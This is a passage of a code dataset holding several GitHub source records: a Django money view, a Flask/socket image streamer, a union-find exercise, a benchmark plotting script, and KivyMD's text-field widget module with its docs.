None","repo_name":"THUNLP-MT/dyMEAN","sub_path":"utils/nn_utils.py","file_name":"nn_utils.py","file_ext":"py","file_size_in_byte":37492,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"82"} +{"seq_id":"3787941913","text":"from django.shortcuts import render\nfrom .models import Money\nfrom django.utils.timezone import now\n# Create your views here.\n\ndef all_money(request): \n return render(request, 'home.html')\n\ndef create(request):\n money = Money()\n money.name = request.GET['name']\n money.deposit = request.GET['deposit']\n money.withdraw = request.GET['withdraw']\n money.input_date = request.GET['input_date']\n money.save()\n \n #moneys = Money.objects.all()\n\n return render(request, 'submit.html')\n\ndef sums(request):\n moneys = Money.objects.all()\n total = []\n please = 0\n for k in moneys:\n temp = k.deposit - k.withdraw\n please = please + temp\n total.append(please)\n\n return render(request, 'sum.html', {'moneys' : moneys, 'total' : total })\n ","repo_name":"yesjiyoung/moneyproject","sub_path":"deal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30019199848","text":"import asyncio\nimport logging\nimport os\nimport pickle\nimport struct\nimport threading\nimport time\nfrom abc import ABC, abstractmethod\nfrom asyncio import Queue\nfrom typing import Any, Generator, Optional, Tuple\n\nimport cv2\nimport socket\nfrom flask import render_template_string\nimport numpy as np\nfrom mvfy.visual.func import loop_manager\nfrom mvfy.visual.systems.image_generator import ImageGenerator\nfrom pydantic.dataclasses import dataclass\n\nfrom .errors import StreamSocketInsufficientSlots, StreamTemplateNotFound\n\n\nclass Streamer(ABC):\n\n @abstractmethod\n def send(self)-> bytes:\n pass \n\n@dataclass\nclass FlaskStreamer(Streamer):\n\n dimensions: Tuple[int, int] = (720, 480)\n extension: Optional[str] = \".jpg\"\n images_queue: Optional[Any] = None\n images_queue_size: int = 0\n wait_message: str = \"wait....\"\n wait_image: Any = None\n framerate: int = 24\n time_to_wait: int = 1\n end_time_return: float = time.time()\n\n def __post_init__(self):\n self.images_queue = Queue()\n self._thread_lock = threading.Lock()\n self.__create_wait_image()\n\n def __create_wait_image(self) -> None:\n \"\"\"_summary_\n \"\"\"\n self.wait_image = np.zeros([self.dimensions[1], self.dimensions[0], 1], dtype = np.uint8)\n center_image = (self.wait_image.shape[1] // 2, self.wait_image.shape[0] // 2)\n self.wait_image = cv2.putText(self.wait_image, self.wait_message, center_image, cv2.FONT_HERSHEY_SIMPLEX, 2, 255)\n\n flag, resize_image = cv2.imencode(self.extension, self.wait_image, [cv2.IMWRITE_JPEG_QUALITY, 80])\n if flag:\n self.wait_image: bytes = b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + bytearray(resize_image) + b'\\r\\n'\n\n def get_template(self) -> str:\n \"\"\"_summary_\n\n :raises StreamTemplateNotFound: _description_\n :return: _description_\n :rtype: str\n \"\"\" \n dir_name: str = os.path.dirname(os.path.abspath(__file__))\n template_path: str = os.path.join(dir_name, \"stream_flask_template.html\")\n \n if not os.path.exists(template_path):\n raise StreamTemplateNotFound(path_file = template_path)\n \n with open(template_path, \"r\", encoding = \"utf-8\") as f:\n template = f.read()\n\n return render_template_string(template, title = \"mvfy_visual\")\n \n @loop_manager\n async def img2bytes(self, image, loop: 'asyncio.AbstractEventLoop') -> bytes:\n\n \n images_bytes = b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + bytearray() + b'\\r\\n'\n flag, resize_image = await loop.run_in_executor(None, lambda: cv2.imencode(self.extension, image, [cv2.IMWRITE_JPEG_QUALITY, 80]))\n\n if flag:\n images_bytes: bytes = b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + bytearray(resize_image) + b'\\r\\n'\n \n return images_bytes\n \n async def save(self, batch_images: list[Any]) -> Any:\n\n tasks = [self.img2bytes(img) for img in batch_images]\n results = await asyncio.gather(*tasks)\n\n for result in results:\n await self.images_queue.put(result)\n self.images_queue_size += 1\n\n print(self.images_queue_size)\n \n def send(self)-> bytes:\n \"\"\"_summary_\n\n :return: _description_\n :rtype: _type_\n \"\"\" \n #TODO: optimize the fluency of the video\n \n try:\n while self.images_queue.empty():\n print(\"waiting streaming...\")\n while self.images_queue.empty():\n time.sleep(self.time_to_wait)\n\n image_to_send = self.images_queue.get_nowait()\n self.images_queue_size -= 1\n\n # wait = (1 / self.framerate) - (time.time() - self.end_time_return)\n # if wait < 0:\n # print(f'delay:{wait} ')\n\n delay_time = max(0, (1 / self.framerate) - (time.time() - self.end_time_return))\n time.sleep(delay_time)\n\n self.end_time_return = time.time()\n\n return image_to_send\n \n except Exception as error:\n logging.error(f\"Error sending the image, {error}\")\n return self.wait_image\n \n def __iter__(self):\n \n return self\n\n def __next__(self):\n\n return self.send()\n \n@dataclass\nclass SocketStreamer():\n host: str\n port: str\n slots: int = 10\n socket_args: Tuple = (socket.AF_INET, socket.SOCK_STREAM)\n dimensions: Tuple[int, int] = (720, 480)\n extension: Optional[str] = \".jpg\"\n images_queue_size: int = 0\n wait_message: str = \"wait....\"\n wait_image: Any = None\n\n def __post_init__(self):\n self.__running: bool = False\n self.__server_socket = socket.socket(*self.socket_args)\n self.__server_socket.bind((self.host, self.port))\n self.__images_queue = Queue()\n self.__create_wait_image()\n\n def __server_listening(self):\n \"\"\"\n Listens for new connections.\n \"\"\"\n self.__server_socket.listen(self.slots) \n print(f\"stream socket listening in: {(self.host, self.port)}\")\n\n while self.__running: \n\n connection, address = self.__server_socket.accept()\n print(f\"stream socket new connection in: {address}\")\n self.__client_connection(connection)\n\n def __client_connection(self, connection: socket.socket):\n\n while self.__images_queue.empty():\n time.sleep(0.1)\n\n image_to_send = self.__images_queue.get_nowait()\n self.images_queue_size -= 1\n \n message = struct.pack(\"Q\", len(image_to_send)) + image_to_send\n\n try:\n connection.sendall(message)\n except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError) as error:\n logging.error(f\"Stream socket connection error: {error}\")\n self.stop()\n\n def __create_wait_image(self) -> None:\n \"\"\"_summary_\n \"\"\"\n self.wait_image = np.zeros([self.dimensions[0], self.dimensions[1], 1], dtype = np.uint8)\n center_image = (self.wait_image.shape[1] // 2, self.wait_image.shape[0] // 2)\n self.wait_image = cv2.putText(self.wait_image, self.wait_message, center_image, cv2.FONT_HERSHEY_SIMPLEX, 2, 255)\n\n flag, resize_image = cv2.imencode(self.extension, self.wait_image, [cv2.IMWRITE_JPEG_QUALITY, 80])\n if flag:\n self.wait_image: bytes = pickle.dumps(resize_image)\n \n @loop_manager\n async def __img2bytes(self, image, loop: 'asyncio.AbstractEventLoop') -> bytes:\n\n images_bytes = b''\n flag, resize_image = await loop.run_in_executor(None, lambda: cv2.imencode(self.extension, image, [cv2.IMWRITE_JPEG_QUALITY, 80]))\n\n if flag:\n images_bytes: bytes = pickle.dumps(resize_image)\n \n return images_bytes\n\n def start(self):\n if self.__running:\n print(\"Server is already running\")\n else:\n self.__running = True\n server_thread = threading.Thread(target=self.__server_listening)\n server_thread.start()\n \n def stop(self):\n \"\"\"\n Stops the server and closes all connections\n \"\"\"\n if self.__running:\n self.__running = False\n self.__server_socket.close()\n else:\n print(\"Server not running!\")\n\n async def save(self, batch_images: list[Any]) -> Any:\n\n tasks = [self.__img2bytes(img, loop=None) for img in batch_images]\n results = await asyncio.gather(*tasks)\n\n for result in results:\n await self.__images_queue.put(result)\n self.images_queue_size += 1","repo_name":"erwingforerocastro/mvfy_visual","sub_path":"src/mvfy/visual/streamer/streamer.py","file_name":"streamer.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9228856795","text":"import sys\ninput = sys.stdin.readline\n\nT = int(input())\n\ndef find(x):\n if d[x] != x:\n d[x] = find(d[x])\n \n return d[x]\n\n\ndef union(f1, f2):\n p1, p2 = find(f1), find(f2)\n\n if p1 != p2:\n d[p2] = p1\n cnt[p1] += cnt[p2]\n \n\n\nfor _ in range(T):\n n = int(input())\n\n d, cnt = {}, {}\n for _ in range(n):\n f1, f2 = input().split()\n\n if f1 not in d:\n d[f1] = f1\n cnt[f1] = 1\n \n if f2 not in d:\n d[f2] = f2\n cnt[f2] = 1\n\n \n union(f1, f2)\n print(cnt[find(f1)])\n\n \n \n","repo_name":"Kim0914/AlgoGYM","sub_path":"DONGUK/WEEK_10/4195.py","file_name":"4195.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"21370661544","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport sys\n\nCOLORS = [\"b\", \"r\", \"g\"]\nBENCHMARKS = [\"epsilon\", \"scs\", \"ecos\"]\nWIDTH = 0.2\n\nif __name__ == \"__main__\":\n results = {}\n for line in sys.stdin:\n benchmark, problem, time, value = line.split()\n results[(problem, benchmark)] = (float(time), float(value))\n\n problems = set(k[0] for k in results)\n problems = list(problems)\n problems.sort()\n\n x = np.arange(len(problems))\n ax = plt.subplot(111)\n\n # for i, benchmark in enumerate(BENCHMARKS):\n # print [results.get((p, benchmark), (0,0))[0] for p in problems]\n\n for i, benchmark in enumerate(BENCHMARKS):\n ax.bar(x+i*WIDTH,\n [results.get((p, benchmark), (0,0))[0] for p in problems],\n log=True, width=WIDTH, color=COLORS[i])\n\n plt.autoscale(tight=True)\n\n plt.ylabel(\"Running time (seconds)\")\n plt.ylim((5e-2, 1e4))\n\n plt.xticks(x+0.3, problems)\n locs, labels = plt.xticks()\n plt.setp(labels, rotation=90)\n\n plt.legend((\"Epsilon\", \"CVXPY+SCS\", \"CVXPY+ECOS\"), loc=\"best\", ncol=3)\n plt.subplots_adjust(bottom=0.3)\n plt.savefig(sys.stdout, format=\"pdf\")\n","repo_name":"nishi951/cvxbenchmarks","sub_path":"cvxbenchmarks/lib/data/epsilon/epopt/problems/benchmark_bars.py","file_name":"benchmark_bars.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25516093948","text":"\"\"\"\nComponents/Text Field\n=====================\n\n.. seealso::\n\n `Material Design spec, Text fields `_\n\n.. rubric:: Text fields let users enter and edit text.\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-fields.png\n :align: center\n\n`KivyMD` provides the following field classes for use:\n\n- MDTextField_\n- MDTextFieldRound_\n- MDTextFieldRect_\n\n.. Note:: :class:`~MDTextField` inherited from\n :class:`~kivy.uix.textinput.TextInput`. Therefore, most parameters and all\n events of the :class:`~kivy.uix.textinput.TextInput` class are also\n available in the :class:`~MDTextField` class.\n\n.. MDTextField:\nMDTextField\n-----------\n\n\n:class:`~MDTextField` can be with helper text and without.\n\nWithout helper text mode\n------------------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"No helper text\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-no-helper-mode.gif\n :align: center\n\nHelper text mode on ``on_focus`` event\n--------------------------------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"Helper text on focus\"\n helper_text: \"This will disappear when you click off\"\n helper_text_mode: \"on_focus\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-helper-mode-on-focus.gif\n :align: center\n\nPersistent helper text mode\n---------------------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"Persistent helper text\"\n helper_text: \"Text is always here\"\n helper_text_mode: \"persistent\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-helper-mode-persistent.gif\n :align: center\n\nHelper text mode `'on_error'`\n----------------------------\n\nTo display an error in a text field when using the\n``helper_text_mode: \"on_error\"`` parameter, set the `\"error\"` text field\nparameter to `True`:\n\n.. code-block:: python\n\n from kivy.lang import Builder\n\n from kivymd.app import MDApp\n\n KV = '''\n BoxLayout:\n padding: \"10dp\"\n\n MDTextField:\n id: text_field_error\n hint_text: \"Helper text on error (press 'Enter')\"\n helper_text: \"There will always be a mistake\"\n helper_text_mode: \"on_error\"\n pos_hint: {\"center_y\": .5}\n '''\n\n\n class Test(MDApp):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.screen = Builder.load_string(KV)\n\n def build(self):\n self.screen.ids.text_field_error.bind(\n on_text_validate=self.set_error_message,\n on_focus=self.set_error_message,\n )\n return self.screen\n\n def set_error_message(self, instance_textfield):\n self.screen.ids.text_field_error.error = True\n\n\n Test().run()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-helper-mode-on-error.gif\n :align: center\n\nHelper text mode `'on_error'` (with required)\n--------------------------------------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"required = True\"\n required: True\n helper_text_mode: \"on_error\"\n helper_text: \"Enter text\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-required.gif\n :align: center\n\nText length control\n-------------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"Max text length = 5\"\n max_text_length: 5\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-text-length.gif\n :align: center\n\n\nMulti line text\n---------------\n\n.. code-block:: kv\n\n MDTextField:\n multiline: True\n hint_text: \"Multi-line text\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-text-multi-line.gif\n :align: center\n\nColor mode\n----------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"color_mode = 'accent'\"\n color_mode: 'accent'\n\nAvailable options are `'primary'`, `'accent'` or `'custom`'.\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-color-mode.gif\n :align: center\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"color_mode = 'custom'\"\n color_mode: 'custom'\n helper_text_mode: \"on_focus\"\n helper_text: \"Color is defined by 'line_color_focus' property\"\n line_color_focus: 1, 0, 1, 1\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-color-mode-custom.gif\n :align: center\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"Line color normal\"\n line_color_normal: app.theme_cls.accent_color\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-line-color-normal.png\n :align: center\n\nRectangle mode\n--------------\n\n.. code-block:: kv\n\n MDTextField:\n hint_text: \"Rectangle mode\"\n mode: \"rectangle\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-rectangle-mode.gif\n :align: center\n\n.. MDTextFieldRect:\nMDTextFieldRect\n---------------\n\n.. Note:: :class:`~MDTextFieldRect` inherited from\n :class:`~kivy.uix.textinput.TextInput`. You can use all parameters and\n attributes of the :class:`~kivy.uix.textinput.TextInput` class in the\n :class:`~MDTextFieldRect` class.\n\n.. code-block:: kv\n\n MDTextFieldRect:\n size_hint: 1, None\n height: \"30dp\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-rect.gif\n :align: center\n\n.. Warning:: While there is no way to change the color of the border.\n\n.. MDTextFieldRound:\nMDTextFieldRound\n----------------\n\nWithout icon\n------------\n\n.. code-block:: kv\n\n MDTextFieldRound:\n hint_text: 'Empty field'\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-round.gif\n :align: center\n\nWith left icon\n--------------\n\n.. Warning:: The icons in the :class:`~MDTextFieldRound` are static. You cannot\n bind events to them.\n\n.. code-block:: kv\n\n MDTextFieldRound:\n icon_left: \"email\"\n hint_text: \"Field with left icon\"\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-round-left-icon.png\n :align: center\n\nWith left and right icons\n-------------------------\n\n.. code-block:: kv\n\n MDTextFieldRound:\n icon_left: 'key-variant'\n icon_right: 'eye-off'\n hint_text: 'Field with left and right icons'\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-round-left-right-icon.png\n :align: center\n\nControl background color\n------------------------\n\n.. code-block:: kv\n\n MDTextFieldRound:\n icon_left: 'key-variant'\n normal_color: app.theme_cls.accent_color\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-round-normal-color.gif\n :align: center\n\n.. code-block:: kv\n\n MDTextFieldRound:\n icon_left: 'key-variant'\n normal_color: app.theme_cls.accent_color\n color_active: 1, 0, 0, 1\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/text-field-round-active-color.gif\n :align: center\n\n.. seealso::\n\n See more information in the :class:`~MDTextFieldRect` class.\n\"\"\"\n\n__all__ = (\n \"MDTextField\",\n \"MDTextFieldRect\",\n \"MDTextFieldRound\",\n)\n\nimport sys\n\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.animation import Animation\nfrom kivy.graphics.context_instructions import Color\nfrom kivy.lang import Builder\nfrom kivy.properties import (\n NumericProperty,\n StringProperty,\n BooleanProperty,\n OptionProperty,\n ListProperty,\n ObjectProperty,\n)\nfrom kivy.metrics import dp\nfrom kivy.metrics import sp\n\nfrom kivymd.font_definitions import theme_font_styles\nfrom kivymd.theming import ThemableBehavior\nfrom kivymd.uix.label import MDIcon\n\nBuilder.load_string(\n \"\"\"\n#:import images_path kivymd.images_path\n\n\n\n\n canvas.before:\n Clear\n Color:\n rgba: self.line_color_normal if root.mode == \"line\" else [0, 0, 0, 0]\n Line:\n points:\n self.x, self.y + dp(16), self.x + self.width, self.y + dp(16)\n width: 1\n dash_length: dp(3)\n dash_offset: 2 if self.disabled else 0\n\n Color:\n rgba: self._current_line_color if root.mode == \"line\" else [0, 0, 0, 0]\n Rectangle:\n size: self._line_width, dp(2)\n pos: self.center_x - (self._line_width / 2), self.y + dp(16)\n\n Color:\n rgba: self._current_error_color\n Rectangle:\n texture: self._msg_lbl.texture\n size: self._msg_lbl.texture_size\n pos: self.x, self.y\n\n Color:\n rgba: self._current_right_lbl_color\n Rectangle:\n texture: self._right_msg_lbl.texture\n size: self._right_msg_lbl.texture_size\n pos: self.width-self._right_msg_lbl.texture_size[0]+dp(45), self.y\n\n Color:\n rgba:\n (self._current_line_color if self.focus and not \\\n self._cursor_blink else (0, 0, 0, 0))\n Rectangle:\n pos: [int(x) for x in self.cursor_pos]\n size: 1, -self.line_height\n\n Color:\n rgba: self._current_hint_text_color\n Rectangle:\n texture: self._hint_lbl.texture\n size: self._hint_lbl.texture_size\n pos: self.x, self.y + self.height - self._hint_y\n\n Color:\n rgba:\n self.disabled_foreground_color if self.disabled else\\\n (self.hint_text_color if not self.text and not\\\n self.focus else self.foreground_color)\n\n Color:\n rgba: self._current_line_color\n Line:\n width: dp(1) if root.mode == \"rectangle\" else dp(0.00001)\n points:\n (\n self.x + root._line_blank_space_right_hint_text, self.top - self._hint_lbl.texture_size[1] // 2,\n self.right + dp(12), self.top - self._hint_lbl.texture_size[1] // 2,\n self.right + dp(12), self.y,\n self.x - dp(12), self.y,\n self.x - dp(12), self.top - self._hint_lbl.texture_size[1] // 2,\n self.x + root._line_blank_space_left_hint_text, self.top - self._hint_lbl.texture_size[1] // 2\n )\n\n font_name: 'Roboto'\n foreground_color: app.theme_cls.text_color\n font_size: sp(16)\n bold: False\n padding: 0, dp(16), 0, dp(10)\n multiline: False\n size_hint_y: None\n height: self.minimum_height + dp(8)\n\n\n\n size_hint_x: None\n width: self.texture_size[0]\n shorten: True\n shorten_from: \"right\"\n\n\n\n on_focus:\n root.anim_rect([root.x, root.y, root.right, root.y, root.right,\\\n root.top, root.x, root.top, root.x, root.y], 1) if root.focus\\\n else root.anim_rect([root.x - dp(60), root.y - dp(60),\\\n root.right + dp(60), root.y - dp(60),\n root.right + dp(60), root.top + dp(60),\\\n root.x - dp(60), root.top + dp(60),\\\n root.x - dp(60), root.y - dp(60)], 0)\n\n canvas.after:\n Color:\n rgba: root._primary_color\n Line:\n width: dp(1.5)\n points:\n (\n self.x - dp(60), self.y - dp(60),\n self.right + dp(60), self.y - dp(60),\n self.right + dp(60), self.top + dp(60),\n self.x - dp(60), self.top + dp(60),\n self.x - dp(60), self.y - dp(60)\n )\n\n\n:\n multiline: False\n size_hint: 1, None\n height: self.line_height + dp(10)\n background_active: f'{images_path}transparent.png'\n background_normal: f'{images_path}transparent.png'\n padding:\n self._lbl_icon_left.texture_size[1] + dp(10) if self.icon_left else dp(15), \\\n (self.height / 2) - (self.line_height / 2), \\\n self._lbl_icon_right.texture_size[1] + dp(20) if self.icon_right else dp(15), \\\n 0\n\n canvas.before:\n Color:\n rgba: self.normal_color if not self.focus else self._color_active\n Ellipse:\n angle_start: 180\n angle_end: 360\n pos: self.pos[0] - self.size[1] / 2, self.pos[1]\n size: self.size[1], self.size[1]\n Ellipse:\n angle_start: 360\n angle_end: 540\n pos: self.size[0] + self.pos[0] - self.size[1]/2.0, self.pos[1]\n size: self.size[1], self.size[1]\n Rectangle:\n pos: self.pos\n size: self.size\n\n Color:\n rgba: self.line_color\n Line:\n points: self.pos[0] , self.pos[1], self.pos[0] + self.size[0], self.pos[1]\n Line:\n points: self.pos[0], self.pos[1] + self.size[1], self.pos[0] + self.size[0], self.pos[1] + self.size[1]\n Line:\n ellipse: self.pos[0] - self.size[1] / 2, self.pos[1], self.size[1], self.size[1], 180, 360\n Line:\n ellipse: self.size[0] + self.pos[0] - self.size[1] / 2.0, self.pos[1], self.size[1], self.size[1], 360, 540\n\n # Texture of left Icon.\n Color:\n rgba: self.icon_left_color\n Rectangle:\n texture: self._lbl_icon_left.texture\n size:\n self._lbl_icon_left.texture_size if self.icon_left \\\n else (0, 0)\n pos:\n self.x, \\\n self.center[1] - self._lbl_icon_right.texture_size[1] / 2\n\n # Texture of right Icon.\n Color:\n rgba: self.icon_right_color\n Rectangle:\n texture: self._lbl_icon_right.texture\n size:\n self._lbl_icon_right.texture_size if self.icon_right \\\n else (0, 0)\n pos:\n (self.width + self.x) - (self._lbl_icon_right.texture_size[1]), \\\n self.center[1] - self._lbl_icon_right.texture_size[1] / 2\n\n Color:\n rgba:\n root.theme_cls.disabled_hint_text_color if not self.focus \\\n else root.foreground_color\n\"\"\"\n)\n\n\nclass MDTextFieldRect(ThemableBehavior, TextInput):\n _primary_color = ListProperty([0, 0, 0, 0])\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._update_primary_color()\n self.theme_cls.bind(primary_color=self._update_primary_color)\n self.root_color = Color()\n\n def _update_primary_color(self, *args):\n self._primary_color = self.theme_cls.primary_color\n self._primary_color[3] = 0\n\n def anim_rect(self, points, alpha):\n instance_line = self.canvas.children[-1].children[-1]\n instance_color = self.canvas.children[-1].children[0]\n if alpha == 1:\n d_line = 0.3\n d_color = 0.4\n else:\n d_line = 0.05\n d_color = 0.05\n\n Animation(points=points, d=d_line, t=\"out_cubic\").start(instance_line)\n Animation(a=alpha, d=d_color).start(instance_color)\n\n\nclass FixedHintTextInput(TextInput):\n hint_text = StringProperty(\"\")\n\n def on__hint_text(self, instance, value):\n pass\n\n def _refresh_hint_text(self):\n pass\n\n\nclass TextfieldLabel(ThemableBehavior, Label):\n field = ObjectProperty()\n font_style = OptionProperty(\"Body1\", options=theme_font_styles)\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.font_size = sp(self.theme_cls.font_styles[self.font_style][1])\n\n\nclass MDTextField(ThemableBehavior, FixedHintTextInput):\n helper_text = StringProperty(\"This field is required\")\n \"\"\"\n Text for ``helper_text`` mode.\n\n :attr:`helper_text` is an :class:`~kivy.properties.StringProperty`\n and defaults to `'This field is required'`.\n \"\"\"\n\n helper_text_mode = OptionProperty(\n \"none\", options=[\"none\", \"on_error\", \"persistent\", \"on_focus\"]\n )\n \"\"\"\n Helper text mode. Available options are: `'on_error'`, `'persistent'`,\n `'on_focus'`.\n\n :attr:`helper_text_mode` is an :class:`~kivy.properties.OptionProperty`\n and defaults to `'none'`.\n \"\"\"\n\n max_text_length = NumericProperty(None)\n \"\"\"\n Maximum allowed value of characters in a text field.\n\n :attr:`max_text_length` is an :class:`~kivy.properties.NumericProperty`\n and defaults to `None`.\n \"\"\"\n\n required = BooleanProperty(False)\n \"\"\"\n Required text. If True then the text field requires text.\n\n :attr:`required` is an :class:`~kivy.properties.BooleanProperty`\n and defaults to `False`.\n \"\"\"\n\n color_mode = OptionProperty(\n \"primary\", options=[\"primary\", \"accent\", \"custom\"]\n )\n \"\"\"\n Color text mode. Available options are: `'primary'`, `'accent'`,\n `'custom'`.\n\n :attr:`color_mode` is an :class:`~kivy.properties.OptionProperty`\n and defaults to `'primary'`.\n \"\"\"\n\n mode = OptionProperty(\"line\", options=[\"rectangle\"])\n \"\"\"\n Text field mode. Available options are: `'line'`, `'rectangle'`.\n\n :attr:`mode` is an :class:`~kivy.properties.OptionProperty`\n and defaults to `'line'`.\n \"\"\"\n\n line_color_normal = ListProperty()\n \"\"\"\n Line color normal in ``rgba`` format.\n\n :attr:`line_color_normal` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n line_color_focus = ListProperty()\n \"\"\"\n Line color focus in ``rgba`` format.\n\n :attr:`line_color_focus` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n error_color = ListProperty()\n \"\"\"\n Error color in ``rgba`` format for ``required = True``.\n\n :attr:`error_color` is an :class:`~kivy.properties.ListProperty`\n and defaults to `[]`.\n \"\"\"\n\n error = BooleanProperty(False)\n \"\"\"\n If True, then the text field goes into ``error`` mode.\n\n :attr:`error` is an :class:`~kivy.properties.BooleanProperty`\n and defaults to `False`.\n \"\"\"\n\n _text_len_error = BooleanProperty(False)\n _hint_lbl_font_size = NumericProperty(\"16sp\")\n _line_blank_space_right_hint_text = NumericProperty(0)\n _line_blank_space_left_hint_text = NumericProperty(0)\n _hint_y = NumericProperty(\"38dp\")\n _line_width = NumericProperty(0)\n _current_line_color = ListProperty([0.0, 0.0, 0.0, 0.0])\n _current_error_color = ListProperty([0.0, 0.0, 0.0, 0.0])\n _current_hint_text_color = ListProperty([0.0, 0.0, 0.0, 0.0])\n _current_right_lbl_color = ListProperty([0.0, 0.0, 0.0, 0.0])\n\n def __init__(self, **kwargs):\n self._msg_lbl = TextfieldLabel(\n font_style=\"Caption\",\n halign=\"left\",\n valign=\"middle\",\n text=self.helper_text,\n field=self,\n )\n self._right_msg_lbl = TextfieldLabel(\n font_style=\"Caption\",\n halign=\"right\",\n valign=\"middle\",\n text=\"\",\n field=self,\n )\n self._hint_lbl = TextfieldLabel(\n font_style=\"Subtitle1\", halign=\"left\", valign=\"middle\", field=self\n )\n super().__init__(**kwargs)\n self.line_color_normal = self.theme_cls.divider_color\n self.line_color_focus = self.theme_cls.primary_color\n self.error_color = self.theme_cls.error_color\n\n self._current_hint_text_color = self.theme_cls.disabled_hint_text_color\n self._current_line_color = self.theme_cls.primary_color\n\n self.bind(\n helper_text=self._set_msg,\n hint_text=self._set_hint,\n _hint_lbl_font_size=self._hint_lbl.setter(\"font_size\"),\n helper_text_mode=self._set_message_mode,\n max_text_length=self._set_max_text_length,\n text=self.on_text,\n )\n self.theme_cls.bind(\n primary_color=self._update_primary_color,\n theme_style=self._update_theme_style,\n accent_color=self._update_accent_color,\n )\n self.has_had_text = False\n\n def _update_colors(self, color):\n self.line_color_focus = color\n if not self.error and not self._text_len_error:\n self._current_line_color = color\n if self.focus:\n self._current_line_color = color\n\n def _update_accent_color(self, *args):\n if self.color_mode == \"accent\":\n self._update_colors(self.theme_cls.accent_color)\n\n def _update_primary_color(self, *args):\n if self.color_mode == \"primary\":\n self._update_colors(self.theme_cls.primary_color)\n\n def _update_theme_style(self, *args):\n self.line_color_normal = self.theme_cls.divider_color\n if not any([self.error, self._text_len_error]):\n if not self.focus:\n self._current_hint_text_color = (\n self.theme_cls.disabled_hint_text_color\n )\n self._current_right_lbl_color = (\n self.theme_cls.disabled_hint_text_color\n )\n if self.helper_text_mode == \"persistent\":\n self._current_error_color = (\n self.theme_cls.disabled_hint_text_color\n )\n\n def on_width(self, instance, width):\n if (\n any([self.focus, self.error, self._text_len_error])\n and instance is not None\n ):\n self._line_width = width\n self._msg_lbl.width = self.width\n self._right_msg_lbl.width = self.width\n\n def on_focus(self, *args):\n disabled_hint_text_color = self.theme_cls.disabled_hint_text_color\n Animation.cancel_all(\n self, \"_line_width\", \"_hint_y\", \"_hint_lbl_font_size\"\n )\n if self.max_text_length is None:\n max_text_length = sys.maxsize\n else:\n max_text_length = self.max_text_length\n if len(self.text) > max_text_length or all(\n [self.required, len(self.text) == 0, self.has_had_text]\n ):\n self._text_len_error = True\n if self.error or all(\n [\n self.max_text_length is not None\n and len(self.text) > self.max_text_length\n ]\n ):\n has_error = True\n else:\n if all([self.required, len(self.text) == 0, self.has_had_text]):\n has_error = True\n else:\n has_error = False\n\n if self.focus:\n if not self._line_blank_space_right_hint_text:\n self._line_blank_space_right_hint_text = self._hint_lbl.texture_size[\n 0\n ] - dp(\n 25\n )\n Animation(\n _line_blank_space_right_hint_text=self._line_blank_space_right_hint_text,\n _line_blank_space_left_hint_text=self._hint_lbl.x - dp(5),\n _current_hint_text_color=self.line_color_focus,\n duration=0.2,\n t=\"out_quad\",\n ).start(self)\n self.has_had_text = True\n Animation.cancel_all(\n self, \"_line_width\", 